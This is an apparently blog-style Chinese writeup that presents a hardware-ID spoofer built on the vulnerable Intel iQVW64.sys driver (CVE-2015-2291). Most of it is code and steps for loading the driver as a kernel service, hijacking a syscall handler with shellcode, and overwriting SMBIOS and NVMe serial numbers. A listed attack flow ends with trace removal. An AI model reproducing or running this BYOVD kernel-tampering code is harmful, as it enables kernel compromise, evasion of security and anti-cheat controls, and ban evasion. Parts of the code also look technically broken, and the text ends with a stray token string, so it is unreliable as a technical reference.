Intel漏洞驱动硬件ID欺骗工具 | BYOVD内核内存修改技术分析

2 阅读4分钟

Intel漏洞驱动硬件ID欺骗工具 | BYOVD内核内存修改技术分析

文档版本:1.0
分析日期:2026年1月
目标:基于Intel iQVW64.sys漏洞驱动的硬件ID欺骗工具
目的:逆向工程过程的完整技术文档

安装指南

系统要求

  • Windows操作系统(支持NT内核)
  • 管理员权限(必需)
  • 目标系统未启用HVCI(Hypervisor-protected Code Integrity)

依赖项

Intel Ethernet Diagnostics Driver (iQVW64.sys) - 漏洞驱动文件
Windows Driver Loading 支持(NtLoadDriver API)
系统管理员访问权限

安装步骤

  1. 驱动准备

    # 将iQVW64.sys放置到系统目录
    copy iQVW64.sys %SystemRoot%\System32\drivers\
    
  2. 创建服务

    // 通过Windows服务管理器加载驱动
    SC_HANDLE hService = CreateService(
        hSCManager,
        L"IntelDiag",
        L"Intel Ethernet Diagnostic Driver",
        SERVICE_START | SERVICE_STOP | DELETE,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_IGNORE,
        L"System32\\drivers\\iQVW64.sys",
        NULL, NULL, NULL, NULL, NULL
    );
    
  3. 启动驱动

    // 使用NtLoadDriver系统调用加载驱动
    UNICODE_STRING driverPath;
    RtlInitUnicodeString(&driverPath, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IntelDiag");
    NtLoadDriver(&driverPath);
    

核心代码

漏洞驱动程序加载实现

// 通过服务管理器加载漏洞驱动
BOOL LoadVulnerableDriver(LPCWSTR driverPath, LPCWSTR serviceName)
{
    SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (!hSCManager)
        return FALSE;

    // 创建驱动服务
    SC_HANDLE hService = CreateServiceW(
        hSCManager,
        serviceName,
        serviceName,
        SERVICE_START | DELETE | SERVICE_STOP,
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_IGNORE,
        driverPath,
        NULL, NULL, NULL, NULL, NULL
    );

    if (!hService && GetLastError() != ERROR_SERVICE_EXISTS)
    {
        CloseServiceHandle(hSCManager);
        return FALSE;
    }

    // 构建驱动注册表路径
    WCHAR regPath[MAX_PATH];
    swprintf_s(regPath, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s", serviceName);
    
    UNICODE_STRING uniPath;
    RtlInitUnicodeString(&uniPath, regPath);
    
    // 使用NtLoadDriver加载驱动
    NTSTATUS status = NtLoadDriver(&uniPath);
    
    CloseServiceHandle(hService);
    CloseServiceHandle(hSCManager);
    
    return NT_SUCCESS(status);
}

Syscall劫持核心代码

// NtAddAtom syscall劫持实现
// 通过漏洞驱动修改内核代码,重定向系统调用

typedef NTSTATUS(NTAPI* pNtAddAtom)(
    PCWSTR AtomName,
    ULONG Length,
    PULONG Atom
);

// 内核级跳板代码
BYTE shellcode[] = {
    0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // mov rax, target_func
    0xFF, 0xE0,                                                  // jmp rax
    0xCC, 0xCC, 0xCC, 0xCC                                       // int3 (padding)
};

BOOL HijackNtAddAtom(PVOID pTargetFunction)
{
    // 获取NtAddAtom在内核中的地址
    ULONG64 pNtAddAtom = (ULONG64)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtAddAtom");
    pNtAddAtom &= 0xFFFFFFFFFFFFF000; // 对齐到页面边界
    
    // 扫描内存找到系统调用处理函数
    while (*(PWORD)pNtAddAtom != 0x050F) // 寻找syscall指令
        pNtAddAtom += 1;
    
    // syscall处理函数地址在syscall指令后的偏移中
    ULONG64 pSyscallHandler = pNtAddAtom + *(PULONG)(pNtAddAtom + 2) + 6;
    
    // 通过漏洞驱动写入跳板代码
    WriteKernelMemory(pSyscallHandler, shellcode, sizeof(shellcode));
    
    // 写入目标函数地址到shellcode
    WriteKernelMemory(pSyscallHandler + 2, &pTargetFunction, sizeof(PVOID));
    
    return TRUE;
}

SMBIOS表修改实现

// SMBIOS内存扫描和修改代码
typedef struct _SMBIOS_STRUCTURE
{
    BYTE Type;
    BYTE Length;
    WORD Handle;
    // ... 后续数据
} SMBIOS_STRUCTURE, *PSMBIOS_STRUCTURE;

BOOL ModifySMBIOSSerialNumber()
{
    // 1. 获取SMBIOS表物理地址
    ULONG64 smbiosPhysAddr = GetSMBIOSPhysicalAddress();
    
    // 2. 映射到虚拟内存
    PVOID pSmbiosMapped = MapPhysicalMemory(smbiosPhysAddr, 0x10000);
    
    // 3. 遍历SMBIOS结构
    PSMBIOS_STRUCTURE pStruct = (PSMBIOS_STRUCTURE)pSmbiosMapped;
    
    while (pStruct->Type != 127) // 结束标记
    {
        // 4. 查找系统信息结构 (Type 1)
        if (pStruct->Type == 1)
        {
            // 5. 修改System UUID (偏移0x8)
            PUUID pUuid = (PUUID)((PBYTE)pStruct + 0x8);
            GenerateRandomUUID(pUuid);
            
            // 6. 修改Serial Number字符串
            PCHAR pSerial = (PCHAR)pStruct + pStruct->Length;
            GenerateRandomSerial(pSerial, 16);
        }
        
        // 7. 移动到下一个结构
        pStruct = (PSMBIOS_STRUCTURE)((PBYTE)pStruct + pStruct->Length);
        
        // 跳过字符串区域
        while (*(PBYTE)pStruct != 0)
            pStruct = (PSMBIOS_STRUCTURE)((PBYTE)pStruct + 1);
        pStruct = (PSMBIOS_STRUCTURE)((PBYTE)pStruct + 1);
    }
    
    // 8. 清理映射
    UnmapPhysicalMemory(pSmbiosMapped, 0x10000);
    
    return TRUE;
}

磁盘序列号修改

// NVMe控制器序列号修改
BOOL ModifyDiskSerialNumber()
{
    // 1. 定位NVMe控制器在PCI配置空间
    ULONG64 nvmeBase = FindPCIDevice(PCI_CLASS_STORAGE, PCI_SUBCLASS_NVME);
    
    // 2. 读取控制器寄存器
    ULONG64 bar0 = ReadPCIConfig(nvmeBase, PCI_BAR0);
    
    // 3. 映射MMIO空间
    PVOID pNvmeRegs = MapPhysicalMemory(bar0, 0x4000);
    
    // 4. 查找Identify Controller数据结构
    ULONG64 pIdentify = pNvmeRegs + 0x1000; // 示例偏移
    
    // 5. 修改序列号字段 (偏移4,长度20字节)
    char newSerial[21] = "SATA-HYBRID-SSD-001";
    memcpy((PBYTE)pIdentify + 4, newSerial, 20);
    
    // 6. 写入回硬件
    WriteNvmeController(pNvmeRegs, NVME_ADMIN_SET_FEATURES, 0);
    
    UnmapPhysicalMemory(pNvmeRegs, 0x4000);
    return TRUE;
}

技术原理详解

BYOVD攻击流程

  1. 驱动投递:将签名但存在漏洞的Intel iQVW64.sys驱动写入系统
  2. 服务创建:通过SCM创建内核驱动服务
  3. 驱动加载:使用NtLoadDriver系统调用加载驱动
  4. 漏洞利用:利用CVE-2015-2291获取物理内存读写能力
  5. 内核代码执行:通过syscall劫持执行自定义内核函数
  6. 硬件标识修改:定位并修改内核中的硬件标识数据结构
  7. 痕迹清理:卸载驱动、删除服务、删除文件

关键技术点

  • 物理内存映射:通过漏洞驱动将物理内存映射到用户态虚拟地址空间
  • 内核代码注入:利用syscall处理函数重定向执行任意内核代码
  • 数据结构定位:在内存中定位SMBIOS、ACPI、PCI配置空间等系统关键数据结构
  • 硬件寄存器访问:通过MMIO直接访问硬件寄存器,修改设备固件级标识FINISHED 6HFtX5dABrKlqXeO5PUv/5ZR4lodq+Eql7lpJrOh7hdGZXQ0x3wrxVWPfT6Qv0cm